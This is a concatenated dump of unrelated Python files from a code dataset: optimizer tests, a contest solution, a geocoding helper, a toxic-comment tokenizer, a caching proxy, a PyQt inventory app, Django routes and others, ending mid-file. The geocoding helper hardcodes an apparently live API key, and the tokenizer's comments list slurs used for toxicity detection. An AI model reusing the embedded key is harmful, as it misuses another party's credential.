test_ba_update_velocity():\n new_ba = ba.BA()\n\n velocity = new_ba._update_velocity(1, 1, 1, 1)\n\n assert velocity != 0\n\n\ndef test_ba_update_position():\n new_ba = ba.BA()\n\n position = new_ba._update_position(1, 1)\n\n assert position == 2\n\n\ndef test_ba_run():\n def square(x):\n return np.sum(x**2)\n\n def hook(optimizer, space, function):\n return\n\n new_function = function.Function(pointer=square)\n\n hyperparams = {\n 'f_min': 0,\n 'f_max': 2,\n 'A': 1,\n 'r': 0.5\n }\n\n new_ba = ba.BA(hyperparams=hyperparams)\n\n search_space = search.SearchSpace(n_agents=10, n_iterations=100,\n n_variables=2, lower_bound=[0, 0],\n upper_bound=[10, 10])\n\n history = new_ba.run(search_space, new_function, pre_evaluation_hook=hook)\n\n assert len(history.agents) > 0\n assert len(history.best_agent) > 0\n\n best_fitness = history.best_agent[-1][1]\n assert best_fitness <= constants.TEST_EPSILON, 'The algorithm ba failed to converge.'\n","sub_path":"tests/opytimizer/optimizers/test_ba.py","file_name":"test_ba.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"454470366","text":"n, d = map(int, input().split())\r\nseq = list(map(int, input().split()))\r\n\r\nflag, count, pos = False, 0, -1\r\nwhile pos < n-2:\r\n\tpos += 1\r\n\ttarget1 = seq[pos]+d\r\n\tfor i in range(pos+1, n-1):\r\n\t\tif seq[i] == target1:\r\n\t\t\ttarget2 = seq[i]+d\r\n\t\t\tfor j in range(i+1, n):\r\n\t\t\t\tif seq[j] == target2:\r\n\t\t\t\t\tcount += 1\r\n\t\t\t\t\tflag = True\r\n\t\t\t\tif seq[j] > target2:\r\n\t\t\t\t\tflag = True\r\n\t\t\t\tif flag: \r\n\t\t\t\t\tbreak\r\n\t\tif seq[i] > target1:\r\n\t\t\tflag = True\r\n\t\tif flag: \r\n\t\t\tbreak\r\n\tflag = False\r\nprint(count)\r\n","sub_path":"contests/HackerRank/HackerRank World Codesprint April/problemB.py","file_name":"problemB.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"324205218","text":"# author: HuYong\n# coding=utf-8\nimport json\nfrom math import *\nimport requests\n\n\ndef calcDistance(Lat_A, Lng_A, Lat_B, Lng_B):\n ra = 6378.140 # 赤道半径 (km)\n rb = 6356.755 # 极半径 (km)\n flatten = (ra - rb) / ra # 地球扁率\n rad_lat_A = radians(Lat_A)\n rad_lng_A = radians(Lng_A)\n rad_lat_B = radians(Lat_B)\n rad_lng_B = radians(Lng_B)\n pA = atan(rb / ra * tan(rad_lat_A))\n pB = atan(rb / ra * tan(rad_lat_B))\n xx = acos(sin(pA) * sin(pB) + cos(pA) * cos(pB) * cos(rad_lng_A - rad_lng_B))\n c1 = (sin(xx) - xx) * (sin(pA) + sin(pB)) ** 2 / cos(xx / 2) ** 2\n c2 = (sin(xx) + xx) * (sin(pA) - sin(pB)) ** 2 / sin(xx / 2) ** 2\n dr = flatten / 8 * (c1 - c2)\n distance = ra * (xx + dr)\n return float('%.4f' % distance) * 1000\n\n\ndef GetAddress(longitude, latitude):\n BaseUrl = \"http://restapi.amap.com/v3/geocode/regeo?output=json&location=LON,LAT&key=KEY&radius=100&extensions=all&roadlevel=0&poitype=楼\"\n URL = BaseUrl.replace(\"LON\", str(longitude)).replace(\"LAT\", str(latitude)).replace(\"KEY\",\"9c9aaf8f45b7d23a26274866b578a2a9\")\n response = requests.get(URL)\n s = json.loads(response.text)\n return s[\"regeocode\"][\"formatted_address\"]\n\n#print GetAddress(118.721893,32.141903)\n","sub_path":"wechat/WeChatUtil.py","file_name":"WeChatUtil.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"198101381","text":"#!/usr/bin/env python \n# -*- coding: utf-8 -*-\n# ==============================================================================\n# \\file normalize.py\n# \\author chenghuige \n# \\date 2018-02-13 19:51:49.324339\n# \\Description \n# ==============================================================================\n\n \nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\nflags = tf.app.flags\nFLAGS = flags.FLAGS\n\nimport sys, os\n\nfrom collections import namedtuple\nimport gezi\n\nimport re\n\ntry:\n import toxic_words\nexcept Exception:\n import prepare.toxic_words\n\n# TODO...\ntry:\n from preprocess import *\nexcept Exception:\n from prepare.preprocess import *\n\nip_pattern = r\"(\\d+\\.\\d+\\.\\d+\\.\\d+)\"\nhttp_pattern = r\"(https?|ftp|file)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|]\"\n\n# !NOTICE can not set file name to tokenize, will confict with python3 some tokenize.py \nvocab = None\n\n# this vocab is original calculated word freq vocab just using like spacy without any further split or other operations\ntrain_vocab = None \n\ntrain_vocab_path = '/home/gezi/data/kaggle/toxic/ori_vocab.txt'\nMIN_COUNT = 20\n\nSimpleTokens = namedtuple('SimpleTokens', ['tokens', 'ori_tokens', 'attributes'])\nTokens = namedtuple('Tokens', ['tokens', \n 'attributes',\n 'ori_tokens',\n 'poses', \n 'tags',\n 'ners',\n ])\n\ndef init(vocab_path='/home/gezi/data/glove/glove-vocab.txt'):\n global vocab, train_vocab\n if vocab:\n return vocab, train_vocab\n vocab = set() \n for line in open(vocab_path, encoding='utf-8', errors='ignore'):\n vocab.add(line.rstrip('\\n').split('\\t')[0])\n\n # train_vocab = {}\n # for line in open(train_vocab_path):\n # word, count = line.rstrip('\\n').split('\\t')\n # train_vocab[word] = int(count)\n\n return vocab, train_vocab\n\n# def train_dict_has(word):\n# for w in (word, word.lower(), word.capitalize(), word.upper()):\n# if w in train_vocab and train_vocab[w] > MIN_COUNT:\n# return True\n# return False\n\ndef dict_has(word):\n for w in (word, word.lower(), word.capitalize(), word.upper()):\n if w in vocab:\n return True\n return False \n\ndef has(word):\n if not word.strip():\n return False\n #return train_dict_has(word) and dict_has(word)\n return dict_has(word)\n\n\n# problem here is will also remove some other language word like '你' TODO\ndef en_filter(token):\n en_results = []\n results = []\n ens = []\n non_ens = []\n for x in token:\n #if x >= 'a' and x <= 'z' or x >= 'A' and x <= 'Z' or x >= '0' and x <= '9':\n if x >= 'a' and x <= 'z' or x >= 'A' and x <= 'Z':\n if non_ens:\n results.append(''.join(non_ens))\n non_ens = []\n ens.append(x)\n else:\n if ens:\n results.append(''.join(ens))\n en_results.append(results[-1])\n ens = []\n non_ens.append(x)\n if ens:\n results.append(''.join(ens))\n en_results.append(results[-1])\n if non_ens:\n results.append(''.join(non_ens))\n \n return results, en_results\n\n# def can_split(w1, w2):\n# if train_dict_has(w1):\n# if train_dict_has(w2) or dict_has(w2):\n# return True \n# else:\n# return False\n# else:\n# if dict_has(w1) and train_dict_has(w2):\n# return True \n# else:\n# return False\ndef can_split(w1, w2):\n return dict_has(w1) and dict_has(w2) or is_toxic(w1) or is_toxic(w2)\n \ndef try_split(token):\n if len(token) < 6 or has(token):\n return [token]\n \n start = 3\n end = len(token) - 2\n idx = int(len(token) / 2)\n\n for i in range(idx, end):\n w1 = token[:i]\n w2 = token[i:]\n #print('w1:', w1, 'w2:', w2, can_split(w1, w2), train_dict_has(w1), dict_has(w1), train_dict_has(w2), dict_has(w2))\n if can_split(w1, w2):\n return [w1, '', w2]\n\n for i in reversed(range(start, idx)):\n w1 = token[:i]\n w2 = token[i:]\n #print('w1:', w1, 'w2:', w2, can_split(w1, w2), train_dict_has(w1), dict_has(w1), train_dict_has(w2), dict_has(w2))\n if can_split(w1, w2):\n return [w1, '', w2]\n \n return [token]\n\nattribute_names = ['len', 'deform', 'lower', 'upper', 'has_star', 'has_dot', 'has_bracket', 'not_en']\nattribute_default_values = [0.] * len(attribute_names)\nAttributes = namedtuple('Attributes', attribute_names)\n\nassert(len(attribute_names) == len(attribute_default_values))\n\nspecial_tokens = set(['', '', ''])\n\n# toxic_words = set([\n# 'fuck', 'fucking', 'fuckin', \n# 'cunt', 'cunts',\n# 'dick', 'penis', 'bitch', 'nigger', 'die', 'kill'])\n\ndef is_toxic(word):\n for w in (word, word.lower(), word.capitalize(), word.upper()):\n if w in toxic_words.get_toxic_words():\n return True\n return False\n\n# def maybe_toxic(word):\n# for w in toxic_words:\n# if w in word:\n# return True\n# return False\n\ndef get_token_len(token):\n if token in special_tokens:\n return 1\n return len(token)\n\n\ndef is_en(token):\n for x in token:\n if x >= 'a' and x <= 'z' or x >= 'A' and x <= 'Z' or x >= '0' and x <= '9':\n return True \n return False\n\ndef get_attr(token, \n deform=False,\n has_star=False, \n has_dot=False,\n has_bracket=False,\n not_en=False):\n return [get_token_len(token), \n deform,\n token not in special_tokens and token.islower(), \\\n token not in special_tokens and token.isupper(), \\\n has_star, has_dot, has_bracket, not is_en(token)]\n\n\ndef tokenize(text):\n init()\n text = normalize(text)\n\n tokens = gezi.segment.tokenize_filter_empty(text)\n results = []\n attributes = []\n ori_tokens = []\n\n def append(token, ori_token, attr=None):\n results.append(token)\n ori_tokens.append(ori_token)\n attributes.append(attr or get_attr(token))\n\n for token in tokens:\n ori_token = token\n\n #print('results', results)\n if token in tokens_map:\n token = tokens_map[token]\n append(token, ori_token)\n else:\n if FLAGS.is_twitter:\n token = token.lower()\n else:\n if re.match(ip_pattern, token):\n token = ''\n\n # NOTICE! if http hurt perf, remove!\n if re.match(http_pattern, token):\n token = ''\n\n if has(token):\n append(token, ori_token)\n else:\n tokens, en_tokens = en_filter(token)\n tokens = [x for x in tokens if x.strip()]\n en_token = ''.join(en_tokens)\n #print('----...', tokens, en_token, en_tokens)\n # Nig(g)er -> Nigger but lose some info might just 'Nig', '', 'g', '', 'er' ? or mark as deformed word! TODO add to word vector\n if has(en_token):\n has_star = '*' in token\n has_dot = '.' in token\n has_bracket = '(' in token or ')' in token or '[' in token or ']' in token or '（' in token or '）' in token\n is_deform = is_toxic(en_token)\n\n if is_deform:\n print(en_token, token, ori_token)\n \n attr = [len(token), \n is_deform, en_token.islower(), en_token.isupper(), \n has_star, has_dot, has_bracket, False]\n if is_deform:\n append(en_token, ori_token, attr)\n else:\n append(token, ori_token, attr)\n else:\n token_results = try_split(en_token)\n if len(token_results) == 1:\n token_results = []\n for token in en_tokens:\n #print('----', token)\n token_results += try_split(token)\n token_results += ['']\n if token_results:\n del token_results[-1]\n for token in token_results:\n append(token, ori_token, get_attr(token, True))\n else:\n append(token, ori_token)\n else:\n for token in token_results:\n append(token, ori_token, get_attr(token, True))\n\n if not results:\n token = 'ok'\n append(token, token)\n\n assert len(results) == len(attributes)\n return SimpleTokens(*([results, ori_tokens, attributes]))\n\n# TODO merge code\n\n \ndef full_tokenize(text):\n init()\n # can cause http.. as PERSON\n text = normalize(text)\n doc = gezi.doc(text)\n results = []\n attributes = []\n poses = []\n tags = []\n ners = []\n ori_tokens = []\n\n def append(token, ori_token, ner='NONE', attr=None):\n results.append(token)\n poses.append(ori_token.pos_)\n tags.append(ori_token.tag_)\n attributes.append(attr or get_attr(token))\n ners.append(ner)\n ori_tokens.append(ori_token.text.replace(' ', '').replace('NEWLINE', '\\x01'))\n \n ner_idx = 0\n ner_list = [(x.text, x.label_) for x in doc.ents]\n \n ner_ok = True \n for x, y in ner_list:\n if 'NEWLINE' in x:\n ner_ok = False \n break \n \n #print('-----ner list', ner_list, ner_ok)\n if not ner_ok:\n ner_list = []\n\n for token_ in doc:\n token = token_.text\n \n # NOTICE! filtered empty text, if not filter later you must not split by ' ', here already remove will ok\n if not token.strip():\n continue\n\n if FLAGS.is_twitter:\n token = token.lower()\n else:\n if re.match(ip_pattern, token):\n token = ''\n\n # NOTICE! if http hurt perf, remove!\n if re.match(http_pattern, token):\n token = ''\n\n # TODO better..\n ner = 'NONE'\n for i in range(ner_idx, len(ner_list)):\n if token == ner_list[i][0] or (len(token) > 2 and token in ner_list[i][0]):\n ner = ner_list[i][1]\n ner_idx = i + 1\n break\n #if ner != 'None':\n # print(token, ner)\n\n if token in tokens_map:\n token = tokens_map[token]\n append(token, token_, ner)\n else:\n if FLAGS.is_twitter:\n token = token.lower()\n else:\n if re.match(ip_pattern, token):\n token = ''\n\n # NOTICE! if http hurt perf, remove!\n if re.match(http_pattern, token):\n token = ''\n\n #if has(token) or (ner != 'NONE' and not maybe_toxic(token)):\n if has(token):\n #if has(token) or ner == 'PERSON':\n append(token, token_, ner)\n else:\n #print('token', token)\n tokens, en_tokens = en_filter(token)\n tokens = [x for x in tokens if x.strip()]\n en_token = ''.join(en_tokens)\n #print('!!!', tokens, en_tokens, en_token)\n # Nig(g)er -> Nigger but lose some info might just 'Nig', '', 'g', '', 'er' ? or mark as deformed word! TODO add to word vector\n #if has(en_token) or (ner != 'NONE' and not maybe_toxic(token)):\n if has(en_token):\n #if has(en_token) or ner == 'PERSON':\n has_star = '*' in token\n has_dot = '.' in token\n has_bracket = '(' in token or ')' in token or '[' in token or ']' in token or '（' in token or '）' in token\n is_deform = is_toxic(en_token)\n attr = [len(token), is_deform,\n en_token.islower(), en_token.isupper(), \n has_star, has_dot, has_bracket, False]\n if is_deform:\n append(en_token, token_, ner, attr)\n else:\n append(token, token_, ner, attr)\n else:\n token_results = try_split(en_token)\n if len(token_results) == 1:\n token_results = []\n for token in en_tokens:\n #print('----', token)\n token_results += try_split(token)\n token_results += ['']\n if token_results:\n del token_results[-1]\n for token in token_results:\n append(token, token_, ner, get_attr(token, True))\n else:\n append(token, token_, ner)\n else:\n for token in token_results:\n append(token, token_, ner, get_attr(token, True))\n\n if not results:\n return full_tokenize('ok')\n assert len(results) == len(attributes) == len(ori_tokens) == len(poses) == len(tags) == len(ners)\n return Tokens(*([results, attributes, ori_tokens, poses, tags, ners]))\n","sub_path":"projects/ai/kaggle/toxic/prepare/tokenizer-v3.py","file_name":"tokenizer-v3.py","file_ext":"py","file_size_in_byte":12070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"169061850","text":"import codecs\nfrom genericpath import exists\nimport os\nimport socket\nimport sys\nimport threading\nimport datetime\n\nip = 'localhost'\nport = 8888\ndata = datetime.datetime.now()\n\n#Pegando o tempo em cache\ntimeInCache = sys.argv[1]\n#-----------------------\n\n\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver.bind((ip, port))\nserver.listen(5)\nprint(f\"Escutando: {ip} \\nporta: {port}\")\nserver_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ndef conexao_em_espera(conexao, addr):\n print('Nova Conexão: ', addr)\n\n\ndef post_it(salvar_cache):\n no_cache = '\\n

    Novo: {}

    '.format(data)\n if salvar_cache.find(b'html'):\n respostaEmString = salvar_cache.decode()\n indiceDoBody = respostaEmString.find(\"\")\n novaRespostaEmString = respostaEmString[:indiceDoBody + 6] + no_cache + respostaEmString[indiceDoBody + 6:]\n print(novaRespostaEmString)\n if novaRespostaEmString.find(\"Cache-Control: max-age=604800\"):\n novaRespostaEmString = novaRespostaEmString.replace(\"Cache-Control: max-age=604800\",\"Cache-Control: max-age=120\")\n print(novaRespostaEmString)\n return novaRespostaEmString\n else:\n return salvar_cache\n \n\ndef salvar_em_cache(carregamento_pag, conexao, str_dominio,imag_str):\n salvar_cache = codecs.decode(carregamento_pag, encoding= 'base64')\n salvar_cacheSTR = str(salvar_cache)\n arquivo = open(str_dominio+imag_str+'.txt','w')\n arquivo.write(salvar_cacheSTR)\n #arquivo.close()\n #amarelonatela = \n #post_it(salvar_cache,conexao)\n #return amarelonatela\n\ndef ler_cache(str_dominio,imag_str):\n ler_arquivo = open(str_dominio+imag_str,'r')\n return ler_arquivo\n\ndef conexao_browser(str_dominio, url_Complexa_Divisao, urlTratamento, conexao, addr,imag_str):\n \n teste_tamanho_url = (len(url_Complexa_Divisao))\n #www.example.org\n if teste_tamanho_url != 0:\n for count in range (len(url_Complexa_Divisao)-1):\n concatenar_url_complex = url_Complexa_Divisao[count]+'/'+url_Complexa_Divisao[count+1]\n concatenar_url_complexSTR = str(concatenar_url_complex)\n complemento_url = concatenar_url_complexSTR.split(\"'\")[0]\n conexao_url = ('GET /'+complemento_url+' HTTP/1.1\\r\\nHost: '+str_dominio+'\\r\\n\\r\\n')\n else:\n conexao_url = ('GET / HTTP/1.1\\r\\nHost: '+str_dominio+'\\r\\n\\r\\n')\n \n server_client.sendall(conexao_url.encode())\n carregamento_pag = server_client.recv(350000)\n carregamento_pag_com_post_it = post_it(carregamento_pag)\n conexao.sendall(carregamento_pag_com_post_it.encode())\n print(\"Valor Informado: \", urlTratamento)\n thread = threading.Thread(target=conexao_em_espera, args=(conexao,addr))\n thread.start()\n print(f\"Conexão Recebida: \", {threading.active_count() - 1})\n salvar_em_cache(carregamento_pag,conexao, str_dominio,imag_str)\n\n\ndef main():\n while True:\n #tratamento do corpo da URL\n conexao, addr = server.accept()\n requisicao = conexao.recv(350000) \n urlTratamento = requisicao.split()[1]\n urlTratamento_STR = str(urlTratamento)\n urlTratamento_ASPAS = urlTratamento_STR.split(\"'\")[1]\n urlTratamento_ASPAS_STR = str(urlTratamento_ASPAS)\n selec_imagem = urlTratamento_ASPAS_STR.split(\".\")\n imag_str = str(selec_imagem [-1])\n urlTratamento_BARRA = urlTratamento_ASPAS_STR.split('/')[1]\n urlTratamento_BARRA_STR = str(urlTratamento_BARRA)\n url_Complexa = urlTratamento_STR.split('/')\n url_Complexa_Divisao = url_Complexa[2:]\n str_dominio = urlTratamento_BARRA_STR.strip('')\n \n # Tratamento Favicon e Imagem\n if(str_dominio == 'favicon.ico'):\n continue\n else:\n try:\n server_client.connect((str_dominio,80))\n except:\n pass\n\n if os.path.exists(str_dominio+imag_str):\n if str_dominio+imag_str == '_io.TextIOWrapper':\n continue\n else:\n carregamento_do_browser= ler_cache(str_dominio,imag_str)\n conexao.sendall(carregamento_do_browser) \n else: \n conexao_browser(str_dominio, url_Complexa_Divisao, urlTratamento, conexao, addr, imag_str)\n\nif __name__ == \"__main__\":\n main()","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"199450360","text":"from PyQt5.QtWidgets import *\r\nfrom PyQt5.QtCore import *\r\nimport mysql.connector\r\nclass stokTedarik(QDialog):\r\n def __init__(self,parent=None):\r\n super(stokTedarik,self).__init__(parent)\r\n grid=QGridLayout()\r\n\r\n \r\n grid.addWidget(QLabel(\"Çikolata\"),0,0)\r\n grid.addWidget(QLabel(\"Peynir\"),1,0)\r\n grid.addWidget(QLabel(\"Tavuk\"),2,0)\r\n grid.addWidget(QLabel(\"Ekmek\"),3,0)\r\n grid.addWidget(QLabel(\"Süt\"),4,0)\r\n\r\n self.gofretSat=QLineEdit()\r\n self.peynirSat=QLineEdit()\r\n self.tavukSat=QLineEdit()\r\n self.ekmekSat=QLineEdit()\r\n self.sutSat=QLineEdit()\r\n\r\n self.gofretSip=QLineEdit()\r\n self.peynirSip=QLineEdit()\r\n self.tavukSip=QLineEdit()\r\n self.ekmekSip=QLineEdit()\r\n self.sutSip=QLineEdit()\r\n\r\n self.gofretAdet=QLabel()\r\n self.peynirAdet=QLabel()\r\n self.tavukAdet=QLabel()\r\n self.ekmekAdet=QLabel()\r\n self.sutAdet=QLabel()\r\n \r\n self.satisButon=QPushButton(\"SAT\") \r\n self.siparisButon=QPushButton(\"SİPARİŞ\")\r\n \r\n \r\n #ekrana ekleme\r\n \r\n grid.addWidget(self.gofretSat,0,1)\r\n grid.addWidget(self.peynirSat,1,1)\r\n grid.addWidget(self.tavukSat,2,1)\r\n grid.addWidget(self.ekmekSat,3,1)\r\n grid.addWidget(self.sutSat,4,1)\r\n \r\n grid.addWidget(self.gofretSip,0,2)\r\n grid.addWidget(self.peynirSip,1,2)\r\n grid.addWidget(self.tavukSip,2,2)\r\n grid.addWidget(self.ekmekSip,3,2)\r\n grid.addWidget(self.sutSip,4,2)\r\n\r\n grid.addWidget(self.gofretAdet,0,3)\r\n grid.addWidget(self.peynirAdet,1,3)\r\n grid.addWidget(self.tavukAdet,2,3)\r\n grid.addWidget(self.ekmekAdet,3,3)\r\n grid.addWidget(self.sutAdet,4,3)\r\n\r\n grid.addWidget(self.satisButon,5,1) \r\n grid.addWidget(self.siparisButon,5,2) \r\n\r\n self.setLayout(grid)\r\n\r\n def sat(self):\r\n gofret=self.gofretAdet.text()\r\n baglanti=mysql.connector.connect(user=\"root\",password=\"\",host=\"127.0.0.1\",database=\"bimbucasube\")\r\n isaretci=baglanti.cursor()\r\n isaretci.execute('''SELECT * FROM stokyonetimi '''%stok_miktar)\r\n row=isaretci.fetchall()#[[25]]\r\n for r in row:#[25]\r\n res=int(''.join(map(str,r)))#25\r\n res=res-1#24\r\n isaretci.execute('''SELECT * FROM stokyonetimi ''')\r\n gelenler=isaretci.fetchall()#[[can,111,515,515]]\r\n for row in gelenler:#[can,111,515,515]\r\n self.gofretAdet.setText(row[1])#can\r\n self.peynirAdet.setText(row[2])\r\n self.tavukAdet.setText(row[3])\r\n self.ekmekAdet.setText(row[4])\r\n self.sutAdet.setText(row[5])\r\n \r\n baglanti.close()\r\n \r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nuyg=QApplication([])\r\npencere=stokTedarik()\r\npencere.show()\r\nuyg.exec_()\r\n","sub_path":"odev emre.py","file_name":"odev emre.py","file_ext":"py","file_size_in_byte":3055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"215167508","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns =[ \n path('',views.index, name='index'),\n path('userExercises', views.exerciseList, name='exercises'),\n path('exercise', views.apiExercise, name='apiExercise'),\n path('home',views.index, name = 'home'),\n path('session', views.session, name='workoutSession'),\n path('api/set', views.apiSet, name='apiSet'),\n path('api/session',views.apiSession, name='apiSession'),\n path('session_summary/', views.sessionSummary, name='sessionSummary'),\n path('api/individual', views.apiIndiv, name='apiIndiv'),\n path('api/signOut', views.signOut, name='apiSignOut'),\n path('history', views.historySummary, name='historySummary'),\n path('add_exercise', views.addExercise, name='addExercisePage'),\n path('api/exercise', views.apiExercise, name='apiExercise'),\n path('profile', views.profilePage, name='profilePage'),\n path('newProgram', views.planView, name ='planView'),\n path('api/program', views.apiProgram, name='apiProgram'),\n path('api/plannedSets', views.apiPlannedSets, name='apiPlannedSets'),\n path('userPrograms', views.programList, name='programList'),\n path('startProgram', views.startProgram, name='startProgram'),\n]\n","sub_path":"workouts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"636593559","text":"from math import fabs, sqrt, pow\n\n\"\"\"Подсчет длины траектории при линейной траектории.\nВходные данные:\n1. Координаты начальной точки [x, y, z];\n2. координаты конечной точки [x, y, z].\nВыходные данные:\n1. Длина траектории, мм.\"\"\"\ndef LengthLinear(start, end):\n length = sqrt((pow((end[0]-start[0]), 2))+(pow((end[1]-start[1]), 2)))\n return length\n\n\n#Линейная интерполяция\n\"\"\"Расчет движения инструмента по координатам.\nВходные данные:\n1. координаты начальной точки [x, y];\n2. координаты конечной точки [x, y];\n3. список скоростей, мм/с;\n4. скорость на предыдущем блоке, мм/с;\n5. длина блока, мм;\n6. время интерполяции, с.\nВыходные данные:\n1. список координат по оси X, мм;\n2. список координат по оси Y, мм.\"\"\"\ndef InterpolationLinear(p_start, p_finish, vellist, vellast, length, tsam):\n S = 0\n x_list = []\n y_list = []\n x_list.append(p_start[0])\n y_list.append(p_start[1])\n x_tmp = p_start[0]\n y_tmp = p_start[1]\n for i in range (len(vellist)):\n #расчет единичного перемещения\n if i == 0:\n Si = tsam*(vellist[i]+vellast)/2\n else:\n Si = tsam*(vellist[i]+vellist[i-1])/2\n #расчет приращений для каждой координаты\n delta_x = Si*(fabs(p_finish[0]-p_start[0])/length)\n delta_y = Si*(fabs(p_finish[1]-p_start[1])/length)\n x_tmp += delta_x\n y_tmp += delta_y\n x_list.append(x_tmp)\n y_list.append(y_tmp)\n S += Si\n print(\"Длина пути по интерполятору: \" + str(S))\n return x_list, y_list, S\n","sub_path":"Старое новое/Interpolation.py","file_name":"Interpolation.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"146985967","text":"# Extracting the last element of the blockchain list\ndef get_last_value():\n return (blockchain[-1])\n\n# Appending the last element along with the current element in a block to the blockchain\ndef add_value(transaction_amount, last_transaction=[1]):\n blockchain.append([last_transaction, transaction_amount])\n\ndef get_transaction_value():\n user_value = float(input(\"Enter your transaction amount: \"))\n\n return user_value\n\ndef get_user_choice():\n\n user_input = input(\"Please give your choice here: \")\n\n return int(user_input)\n\ndef print_block():\n\n for block in blockchain:\n print(\"Here is your block\")\n print(block)\n\n# Returns false if manipulation has been done\ndef verify_chain():\n index = 0\n valid = True\n \n for block in blockchain:\n if index == 0:\n index += 1\n continue\n elif block[0] == blockchain[index-1]:\n valid = True\n else:\n valid = False\n break\n index += 1\n \n return valid\n\nblockchain = []\n\ntx_amount = get_transaction_value()\nadd_value(tx_amount)\n\nwhile True:\n print(\"Choose an option\")\n print(\"Choose 1 for adding a new transaction\")\n print(\"Choose 2 for printing the blockchain\")\n print(\"Choose 3 if you want to manipulate the data\")\n print(\"Choose anything else if you want to quit\")\n\n user_choice = get_user_choice()\n\n if user_choice == 1:\n tx_amount = get_transaction_value()\n add_value(tx_amount, get_last_value())\n\n elif user_choice == 2:\n print_block()\n\n elif user_choice == 3:\n if len(blockchain) >= 1:\n blockchain[0] = 2\n \n else: \n break\n\n if not verify_chain():\n print(\"Blockchain manipulated\")\n break","sub_path":"BCBasics.py","file_name":"BCBasics.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"491221135","text":"\"\"\"\nThis code is modified based on Jin-Hwa Kim's repository (Bilinear Attention Networks - https://github.com/jnhwkim/ban-vqa) by Xuan B. Nguyen\n\"\"\"\nfrom __future__ import print_function\nimport os\nimport json\nimport _pickle as cPickle\nimport numpy as np\nimport utils\nimport torch\nfrom language_model import WordEmbedding\nfrom torch.utils.data import Dataset\nimport itertools\nimport warnings\nwith warnings.catch_warnings():\n warnings.filterwarnings(\"ignore\",category=FutureWarning)\nCOUNTING_ONLY = False\n# Following Trott et al. (ICLR 2018)\n# Interpretable Counting for Visual Question Answering\ndef is_howmany(q, a, label2ans):\n if 'how many' in q.lower() or \\\n ('number of' in q.lower() and 'number of the' not in q.lower()) or \\\n 'amount of' in q.lower() or \\\n 'count of' in q.lower():\n if a is None or answer_filter(a, label2ans):\n return True\n else:\n return False\n else:\n return False\n\ndef answer_filter(answers, label2ans, max_num=10):\n for ans in answers['labels']:\n if label2ans[ans].isdigit() and max_num >= int(label2ans[ans]):\n return True\n return False\n\nclass Dictionary(object):\n def __init__(self, word2idx=None, idx2word=None):\n if word2idx is None:\n word2idx = {}\n if idx2word is None:\n idx2word = []\n self.word2idx = word2idx\n self.idx2word = idx2word\n\n @property\n def ntoken(self):\n return len(self.word2idx)\n\n @property\n def padding_idx(self):\n return len(self.word2idx)\n\n def tokenize(self, sentence, add_word):\n sentence = sentence.lower()\n if \"? -yes/no\" in sentence:\n sentence = sentence.replace(\"? -yes/no\", \"\")\n if \"? -open\" in sentence:\n sentence = sentence.replace(\"? -open\", \"\")\n if \"? - open\" in sentence:\n sentence = sentence.replace(\"? - open\", \"\")\n sentence = sentence.replace(',', '').replace('?', '').replace('\\'s', ' \\'s').replace('...', '').replace('x ray', 'x-ray').replace('.', '')\n words = sentence.split()\n tokens = []\n if add_word:\n for w in words:\n tokens.append(self.add_word(w))\n else:\n for w in words:\n # if a word is not in dictionary, it will be replaced with the last word of dictionary.\n tokens.append(self.word2idx.get(w, self.padding_idx-1))\n return tokens\n\n def dump_to_file(self, path):\n cPickle.dump([self.word2idx, self.idx2word], open(path, 'wb'))\n print('dictionary dumped to %s' % path)\n\n @classmethod\n def load_from_file(cls, path):\n print('loading dictionary from %s' % path)\n word2idx, idx2word = cPickle.load(open(path, 'rb'))\n d = cls(word2idx, idx2word)\n return d\n\n def add_word(self, word):\n if word not in self.word2idx:\n self.idx2word.append(word)\n self.word2idx[word] = len(self.idx2word) - 1\n return self.word2idx[word]\n\n def __len__(self):\n return len(self.idx2word)\n\ndef _create_entry(img, data, answer):\n if None!=answer:\n answer.pop('image_name')\n answer.pop('qid')\n entry = {\n 'qid' : data['qid'],\n 'image_name' : data['image_name'],\n 'image' : img,\n 'question' : data['question'],\n 'answer' : answer,\n 'answer_type' : data['answer_type'],\n 'question_type': data['question_type'],\n 'phrase_type' : data['phrase_type']}\n return entry\n\ndef is_json(myjson):\n try:\n json_object = json.loads(myjson)\n except ValueError:\n return False\n return True\n\ndef _load_dataset(dataroot, name, img_id2val, label2ans):\n \"\"\"Load entries\n\n img_id2val: dict {img_id -> val} val can be used to retrieve image or features\n dataroot: root path of dataset\n name: 'train', 'val', 'test'\n \"\"\"\n data_path = os.path.join(dataroot, name + 'set.json')\n samples = json.load(open(data_path))\n samples = sorted(samples, key=lambda x: x['qid'])\n\n answer_path = os.path.join(dataroot, 'cache', '%s_target.pkl' % name)\n answers = cPickle.load(open(answer_path, 'rb'))\n answers = sorted(answers, key=lambda x: x['qid'])\n\n utils.assert_eq(len(samples), len(answers))\n entries = []\n for sample, answer in zip(samples, answers):\n utils.assert_eq(sample['qid'], answer['qid'])\n 